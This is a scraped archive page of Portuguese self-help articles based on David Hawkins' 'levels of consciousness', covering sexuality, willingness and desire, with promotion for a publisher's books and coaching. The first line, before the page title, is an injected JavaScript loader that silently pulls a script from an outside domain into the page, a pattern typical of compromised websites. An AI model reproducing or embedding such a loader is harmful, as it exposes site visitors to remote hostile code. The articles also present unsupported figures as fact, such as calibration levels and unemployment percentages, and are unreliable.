;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de desejo - David Hawkins Brasil
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Níveis de Consciência

Sexualidade: desde quando isso é coisa de Deus? (Parte 1)

Nesse artigo, inspirado no capítulo 6, do livro “Cura e Recuperação”, vamos observar que a sexualidade depende de como a enxergamos. O sexo em si é neutro. Nós é que damos o valor a ele e o contextualizamos na nossa vida de acordo com a nossa maneira de ver o mundo. 

Nessa primeira parte do artigo, vamos mostrar aqui algumas visões mais comuns sobre o sexo: desejo, orgulho, aceitação e amor. Já na segunda parte, vamos desmistificar de uma vez por todas a ideia de que o sexo é algo animalesco e pecaminoso que nos distancia de Deus. Além disso, vamos ensinar algumas práticas para quebrar os padrões indesejados e ampliar nossa consciência sobre o assunto. 

Nossa experiência sexual está na consciência

Observe que o nosso braço não sabe que é um braço, ele não consegue experienciar o que é ser um braço. É a mente que reconhece que o braço é o braço e nos permite sentir o nosso braço e até movê-lo. É por isso que podemos receber uma anestesia e deixar de sentir o braço, por exemplo. O entorpecente da anestesia adequado interrompe o canal de comunicação entre braço e mente.

Podemos ir além e observar que mesmo a mente em si não consegue experienciar uma sensação ou um pensamento, isso só ocorre em algo maior do que si mesma que é a consciência. É porque existe a consciência, que é esse infinito campo silencioso, como uma tela em branco, que podemos escutar a nossa própria mente e saber o que se passa nela. 

“Um pensamento não experiencia sua qualidade “pensar”; um sentimento não experiencia sua qualidade “sentir”. Algo maior que a mente deve estar presente, algo que é imutável em si mesmo. A razão pela qual sabemos o que está se passando na mente é por causa da consciência, que é um campo muito maior do que a mente. A mente nos diz o que se passa nas emoções, pensamentos e sensações. As sensações nos dizem o que está se passando no corpo.” – Dr. David Hawkins, “Cura e Recuperação”

Esse trecho acima nos permite observar que todas as experiências, na verdade, acontecem na consciência e ao compreender isso, temos o poder de escolha entre quais experiências queremos para nós. É verdade que não podemos escolher o que vai acontecer conosco, mas podemos escolher como vamos lidar com o que acontece conosco.

Podemos escolher o nível de consciência da experiência

Durante o sexo, a experiência também ocorre na consciência, assim, temos poder de escolha do que vamos vivenciar. Mesmo que haja traumas e experiências anteriores que foram densas, ainda há o poder de escolha de como lidar com isso e o que escolher vivenciar no momento presente.

O sexo no nível de consciência do Desejo

Esse é uma visão muito usual do sexo. Há uma visão de que o sexo é algo separado de nós e que precisa ser conquistado. É assim o campo de consciência de brincar com jogos de desejo, manipulações, fantasias, posições e moedas de troca. 

Aqui estão a maior parte dos filmes com aquela paixão avassaladora do “preciso de você”, “te desejo” e até das propagandas de publicidade que querem atrelar seus produtos com o sucesso em conquistar aquilo que resulta em sexo. 

O sexo aqui é de baixa qualidade e muito baseado na fisicalidade gerando um prazer limitado, que só envolve as áreas genitais. Assim, dispara diversos sentimentos negativos que se correlacionam de maneira em que um tende a puxar o outro. 

“Manter a sexualidade do nível físico do Desejo (nível de calibragem 125) e dividindo-a entre padrões de macho e fêmea, cria um sentimento de separação. Dessa separação surge o desejo; do desejo surge a frustração; da frustração surge raiva e ressentimento; e de tudo isso surge medo, tristeza e apatia. Como resultado, as pessoas são tendenciosas a sentir culpa com relação a sexualidade; alguns são também limitados pela apatia, desesperança e ausência de desejo; outros associam sexualidade com tristeza; e alguns tem medo.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo no nível de consciência do Orgulho

No nível do orgulho, a pessoa se sente tão superior, tão mais evoluída que os outros que nem precisa dessas coisas que considera “animalescas” na sua vida.

“Há também o orgulho sobre a moralidade sexual, que é vista com desprezo, negação ou conflito religioso. Pessoas orgulhosas normalmente mantêm a sexualidade de uma visão desdenhosa de “nariz empinado” e veem qualquer pessoa que se satisfaz nesse tipo de atividade como degradadas por sua natureza animal inferior. Presumem que todos são controlados pela energia como eles são. Pessoas que mantêm desprezo pela sexualidade estão projetando sua própria maneira de lidar com o assunto nos outros e dizem “Eles não são carnais? Não são animais?”.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo no nível de consciência da Aceitação 

No nível de aceitação a pessoa é livre das manipulações, de não conseguir controlar os impulsos sexuais ou de ter que sair correndo para comprar aquilo que está na propaganda. A mesma disposição que trouxe a pessoa até aqui começa a movê-la em direção ao amor. 

Esse é um estado de aceitação dos fatos da vida, de quem somos, da nossa humanidade e dos nossos impulsos animais. Começamos a nos sentirmos adequados e confiantes por observar que nossas questões são respondidas pela própria vida.

“Por que a religião e a moral focam nesse tipo de campo de energia e por que é chamado de “carnal”? A sexualidade de baixa energia é mantida em mente em um ponto de vista inferior e, assim, todo o assunto da moralidade na sexualidade foca naquilo que é carnal. A carnalidade surge de olharmos de maneira pejorativa para nossa natureza animal em vez de aceitá-la, ficar feliz com ela, ser grato por ela e dizer que é intrinsecamente linda quando não é julgada ou mantida em mente de uma maneira degradante.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo a partir do nível de consciência do Amor

Nesse nível de consciência a pessoa compreende que não existe “fazer” sexo, e sem o fazer some a necessidade de performance, de frequência, de moeda de troca e tudo de negatividade que surge em torno disso. 

A pessoa aqui se torna uma com o momento em que a experiência sexual ocorre e se permite experienciar esse ato onde ele ocorre, na consciência. A experiência não fica restrita as áreas genitais e é sentida em todo o corpo e além. Não há medo em ser um com o outro.

“Em vez de experiência física localizada, existe sentimentos bem diferentes de expansividade e unidade que surgem por estar com a energia da outra pessoa. Talvez um segundo antes, não haveria qualquer pensamento de sexo na cabeça de ambos. O casal está esperando a torrada pular da tostadeira. Então existe um acolher que é feito nesse espaço que é claro. Em outras palavras, os parceiros largaram qualquer reticência, ressentimento ou coisa que estava impedindo que ficassem juntos.

Do próprio acolher, surge o desejo que é agora de uma natureza totalmente diferente. É o desejo de estar com e experienciar essa pessoa e sua energia. A espontaneidade do assunto não nasce do desejo, mas do espaço de vitalidade essencial e da energia de estar com a outra pessoa. É uma experiência difusa e geral e existe alegria e gratidão por experienciar pela oportunidade de estar com essa energia. A grande alegria e prazer disso trazem senso de integridade de tudo.” – Dr. David Hawkins, “Cura e Recuperação”

Não perca nada!

A segunda parte desse artigo contém algumas práticas para sair do sexo de baixa qualidade para o sexo de alta qualidade, além de uma reflexão do posicionamento de Deus diante de tudo isso. 

Leia direto da fonte: livro “Cura e Recuperação”

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Como resultado, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

 Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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Níveis de Consciência

A Disposição pode nos Levar a Resultados Inimagináveis – com base em Dr. David Hawkins

O início do construtivismo está na disposição. Esse estado de Ser nos guia para o sucesso e nos mantém lá.

É agradável estar ao lado de uma pessoa com disposição a maior parte do tempo.

São pessoas construtivas, animadas, pra “frentéx” e parece que nada as faz desviar do foco delas, persistindo até alcançarem os resultados.

Esse é o estado de consciência dos empresários de sucesso.

Aqui se inicia o construtivismo, o foco em realizar por si e pelo bem maior. As metas de médio e longo prazo prevalecem sobre o atendimento exacerbado dos prazeres de curto prazo.

Entende-se que o crescimento é formado por disciplina, harmonia e perseverança.

Como atua uma pessoa com disposição?

O foco da pessoa disposta está em gozar da jornada e não a fixação por alcançar o destino.

Sua filosofia é dar o seu melhor todos os dias e fazer um trabalho de excelência, permitindo-se: errar, falhar e aprender com seus deslizes sem ser negligente.

Pessoas dispostas estão a maior parte do tempo empregadas ou construindo seu próprio negócio.

Apenas 7% das pessoas deste nível de consciência ficam desempregadas e somente 1% delas são pobres.

Elas não têm frescura de começar de baixo, de fazer trabalhos que a vaidade da grande maioria acharia indigno e mesmo que em cargos de liderança, quando falta mão de obra para trabalhos simples:

  • como limpar o banheiro,
  • pintar uma parede,
  • fazer um café,

Essas pessoas são os primeiros a tomar a iniciativa e ainda inspiram os outros a ajudarem.

Exemplos de disposição e sucesso.

Grandes figuras empresariais as quais admiramos, assim como esportistas de sucesso, estão ou passaram por este nível de consciência no início de suas carreiras:

  • Steve Jobs,
  • Bill Gates,
  • Walt Disney,
  • Abílio Diniz,
  • Sílvio Santos,
  • Samuel Klein,
  • Luíza Helena Trajano,
  • Flávio Augusto,
  • Ayrton Senna,
  • Usain Bolt,
  • Michael Phelps,
  • Pelé,
  • entre tantos outros.

O mais interessante é que todos eles começaram suas carreiras “do nada”.

Eles acreditaram no potencial de suas ideias e de si mesmos, caíram inúmeras vezes, mas se levantaram em todas elas e seguiram em frente.

Alguns passaram por momentos de desespero, miséria, depressão, opressão, traição, mas nada os segurou de fazer aquilo que eles sentiram ser o correto a se fazer.

São verdadeiros heróis que não se abalam com qualquer eventualidade externa.

O que nos impede de sermos mais disposição?

Os principais fatores que nos atrapalham para nos conectarmos com esse estado de consciência são:

Medo, a insegurança de:

  • Perder o controle da situação,
  • Falhar nos afazeres,
  • Sair da zona de conforto,
  • Ter que lidar com situações adversas ou incômodas,
  • Alcançar o poder e não saber o que fazer com ele,
  • Frustrar as pessoas ao seu redor,
  • Se frustrar,
  • Delegar tarefas para outras pessoas.

Vaidade:

  • Achar que deve apenas fazer seu trabalho,
  • Acreditar que está certo de tudo,
  • Buscar apenas ganhos para si mesmo,
  • Enxergar a vida como um campo de batalha onde para um ganhar outro tem que perder,
  • Provar para os outros que está certo,
  • Achar que só você faz um bom trabalho.

Apatia: 

  • Indisposição para fazer o que é necessário,
  • Procrastinação de tarefas que visa como desagradável,
  • Preguiça de lidar com situações desconfortáveis ou começar projetos longos que irão dar trabalho.

Desejo:  

  • Ansiedade de alcançar as coisas rápido,
  • Ausência de perseverança e tolerância,
  • Sede por querer mais,
  • Não saber compartilhar os méritos,
  • Ganância e
  • Cobiça.

Culpa: 

  • Paralisar ou se irritar diante de adversidades,
  • Se iludir que tudo o que acontece de ruim tem um culpado,
  • Se ausentar das responsabilidades,
  • Resistir à realidade como ela se manifesta e acreditar que podia ter sido diferente,
  • Agarrar-se no estado de incompetência e acreditar que os erros o fadaram a não conseguir mais seguir em frente,
  • Acreditar que a culpa do seu insucesso está lá fora.

Estes cinco sentimentos principais, nos mantêm em um ciclo de escassez contínua e nos impede de visitar a abundância em qualquer área de nossas vidas, tornando-nos charretes desgovernadas que irão para o sentido que as condições externas nos jogarem.

Quando começamos a diminuir aos poucos, um passo de cada vez, a influência dessas emoções internas e assumimos nossa responsabilidade por todas as situações que atraímos e pelo potencial que podemos despertar em nós, passamos a tomar as rédeas de nossa vida e nos guiar para onde queremos chegar.

Como nos tornarmos mais dispostos?

Para invocarmos a disposição que existe latente dentro de cada um de nós, é necessário primeiro querer verdadeiramente.

Quando somos sinceros com nós mesmos, paramos de dar a desculpa de que não podemos ou não conseguimos e passamos para um estado de “eu consigo”, “eu posso”, “eu faço”.

Disposição é uma determinação interna de iniciar e seguir a jornada até que se chegue ao resultado ou tenha-se o vislumbre de algo melhor ou maior daquilo que tinha sido almejado no início.

Dicas para despertar a disposição.

Para despertarmos cada vez mais esse estado interno dentro de nós, algumas práticas podem ser realizadas em nosso dia a dia:

Físico: 

  • Buscar fazer algum exercício que goste rotineiramente,
  • Acordar mais cedo,
  • Cortar ou reduzir algum dos tipos de alimentos que desarmonizam nosso organismo como: industrializados, carnes, queijo ou açúcar/adoçante.

Prazeres: 

  • Aproveitar os momentos de lazer sem se preocupar com o que está acontecendo fora do aqui e agora,
  • Fazer um controle financeiro e cortar os excessos,
  • Buscar criar um gosto pelo que se está fazendo e não só pelo resultado a ser obtido.

Atividades: 

  • Equilibrar suas tarefas com momentos de descanso e regeneração,
  • Não se sobrecarregar,
  • Diminuir a vontade de controlar as pessoas ao seu redor,
  • Aprender a delegar funções,
  • Fazer planejamentos de médio e longo prazo.

Social: 

  • A vontade para contribuir e colaborar deve ser colocada em primeiro plano,
  • Também priorizar os aspectos de: harmonia, acordo, tolerância e paciência com o próximo.
  • Gerar empatia com as pessoas e entender seus contextos de vida pode ajudar bastante.

Expressão: 

  • Falar somente a verdade,
  • Ser sensível e bondoso com as palavras,
  • Evitar palavrões e palavras que podem ferir os valores de alguém,
  • Diminuir os preconceitos e
  • Buscar o aperfeiçoamento na sua forma de se comunicar e expressar suas opiniões para que o outro entenda e não se ofenda.

Compreensão: 

  • Diminuir seus julgamentos mentais sobre os outros,
  • Refletir antes de agir,
  • Diminuir os apegos a suas opiniões,
  • Deixar de acreditar que você sempre está certo,
  • Analisar mais os dados.

Fé: 

  • Manter uma intenção firme em mente sem se apegar ao resultado,
  • Acreditar em si mesmo,
  • Entender que as conquistas não são mérito exclusivo seu, pois sem o contexto nada teria sido possível
  • Observar as emoções negativas que vierem para te colocar para baixo e atravessá-las no meio, com disposição e alegria.

Pode parecer muita coisa, mas cada um desses itens é possível de ser alcançado, basta querer de verdade e perseverar.

O importante para agora é você observar qual dessas sete áreas está mais desequilibrada nesses aspectos e escolher uma das orientações e aplicar na prática como um autodesafio.

Dentro dos treinamentos de Alta Performance que realizamos na Pandora Treinamentos, o desenvolvimento da disposição é um dos principais focos, pois é ele que nos instiga a irmos atrás daquilo que nos faz bem e aprendermos cada vez mais a construirmos para nós e para os outros.

Então, se você sentir que isso faz sentido para você e quiser um auxílio neste caminho, fique à vontade em agendar uma sessão online gratuita, para conhecer o Processo de Alta Performance e desfrutar dos benefícios e resultados que você mesmo irá traçar e se dispor a alcançar.

Gratidão e boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Níveis de Consciência

O Desejo é a Fonte do Sofrimento – com base em Dr. David Hawkins

Onde há desejo, há intrínseco o sofrimento. Querer é sofrer e sofrer nos faz querer.

O desejo é uma promessa de que quando você tiver algo que você não tem, você será mais feliz. 

Essa falácia do ego nos condiciona a querer cada vez mais.

Isso nos escraviza em momentos e situações transitórias atreladas ao que está fora de nós.

A verdadeira felicidade é interna e independe dos acontecimentos externos.

Está relacionada diretamente ao nosso nível de consciência e integração com a Realidade.

O que é o desejo?

O desejo é um desdobramento da vontade de posse, acúmulo e gula herdado de nossa parte animal.

Esse nosso animal interno busca encontrar e se manter na zona de conforto, evitar os perigos pressupostos encontrados na saída dela.

Por causa deste sistema de sobrevivência instintivo, o desejo se manifesta e se divide em dois:

  • Avidez: é a vontade de nos aproximarmos daquilo que julgamos prazeroso, de acordo com nossas preferências sensoriais;
  • Aversão: é a vontade de nos afastarmos daquilo que julgamos desprazeroso, também de acordo com nossas preferências sensoriais.

Ambos são um e a mesma coisa. Avidez é o desejo de ter. E aversão é o medo de não ter.

Escassez X Abundância

Quando baseamos nossa vida em querer ter, acabamos nos escravizando a fazer o que for necessário para sermos reconhecidos.

A ilusão segue a ordem de “querer ter” para então “fazer” para “ser” alguém.

Essa é uma ilusão de escassez e poder através da conquista e da manipulação.

A chave está em trocar essa fórmula por um processo de abundância: “ser” para então “fazer” e, consequentemente, “ter”.

Essa é uma verdade que gera abundância e poder através da inspiração e do exemplo.

O desejo traz intrínseca em si a expectativa de conquistar, o que culmina no medo de não conseguir.

Como o medo é o núcleo das emoções, predomina em nossa mente — e aquilo que mantemos em mente tende a se manifestar.

O desejo não leva em consideração as variáveis do contexto e acredita que um desejo deve ser sanado.

É a criança mimada dentro de cada um de nós.

Onde se esconde o desejo?

Ele se esconde através do sentimento de necessidade. É como se ele dissesse: “preciso…

  • “… fazer esta tarefa”,
  • “… de uma roupa nova”,
  • “… melhorar meu inglês”,
  • “… subir de cargo”,
  • “… ganhar mais dinheiro”,
  • … comer de três em três horas”.

Consequentemente, todas essas falsas certezas geram uma pressão interna que resulta em autocrítica, autoculpa e autotirania.

Não é preciso nada. A não ser respirar, se quisermos continuar em nosso corpo físico.

Pense bem: você realmente precisa de algo?

Quando falamos que precisamos de algo, afirmamos que para sermos aquilo que esperamos ou que os outros esperam de nós, precisamos fazer ou ter algo específico.

Essa projeção mental nos distancia do que queremos e nos faz sofrer.

E, mesmo que consigamos, nosso ego vai projetar um novo cenário ideal antes mesmo de degustarmos a conquista.

Essa é uma verdade observável.

Observe seu ego agindo ao comer um prato de comida.

Aquilo que está no garfo passa a ser obsoleto quando entra na boca e o objeto de desejo é projetado no que está no prato.

E assim sucessivamente até vermos o fim da refeição. E, logo, vamos querer fazer algo diferente.

Como se desprender do desejo e ser mais feliz?

Para quebrarmos essas correntes que nos mantêm presos nas masmorras dos estímulos sensoriais, devemos trocar desejo por intenção.

A intenção, diferente do desejo, leva em consideração as infinitas possibilidades do contexto. 

Ela sabe que o máximo que podemos fazer é focarmos em nossa intenção (já que o que mantemos em mente tende a se manifestar) e dar o nosso melhor para contribuir com a realização.

O resultado não depende só de nós, mas também das condições e do contexto para se concretizar.

Por isso a intenção é desapegada do resultado. É uma preferência, ao invés de uma autoimposição que gera autopunição se não alcançada.

Benefícios de trocar desejo por intenção.

O ser que se mantém em intenção ao invés de desejo vive um estilo de vida de alegria e gratidão.

Não há reclamação caso não aconteça o resultado, pois respeita o ritmo natural da vida.

O foco é voltado em aproveitar a jornada ao invés de ansiar a chegada ao destino.

  • Desejo é escravidão. Intenção é liberdade.
  • O desejo precisa. A intenção prefere.
  • Desejo considera apenas os seus prazeres. Intenção respeita todos a seu redor.
  • O desejo entende que para um ganhar outro tem que perder. A intenção sabe que é possível todos ganharem.
  • Desejo é escassez. Intenção é abundância.
  • Desejo exclui. Intenção inclui.
  • O desejo acredita que quem dá perde. A intenção sabe que é dando que se recebe.

No desejo, o fim justifica os meios. Na intenção, os meios se desdobram nos fins.

Autodesafios: o caminho prático para se libertar do desejo.

Para diminuir a influência do desejo sobre nossos pensamentos e atitudes, é necessário se autodesafiar.

O autodesafio nos faz diminuir os excessos de nossos prazeres e as ausências causadas por nossas aversões, levando ao equilíbrio harmônico.

É possível identificar o que está desequilibrado em cada área da vida e buscar o equilíbrio através da escolha de um exemplo de autodesafio contido nesta lista.

Um autodesafio que atinge o cerne da escravidão gerada pelo desejo é a simples mudanças da sensação emocional e da mentalização de “preciso” para “prefiro”.

É interessante escrever uma lista de tudo que você acredita que precisa e depois reescrevê-la com o “não” na frente do “preciso”, para que você se depare com a verdade do “não preciso”.

Depois, aquilo que realmente você sentir ser importante, pode ser incluído em uma terceira lista com a palavra “prefiro” ao invés de “preciso”.

E, então, dar o seu melhor e focar em agradecer os resultados que a vida te entregar ao invés de reclamar daqueles que ainda não foram permitidos alcançar.

Boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa: para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual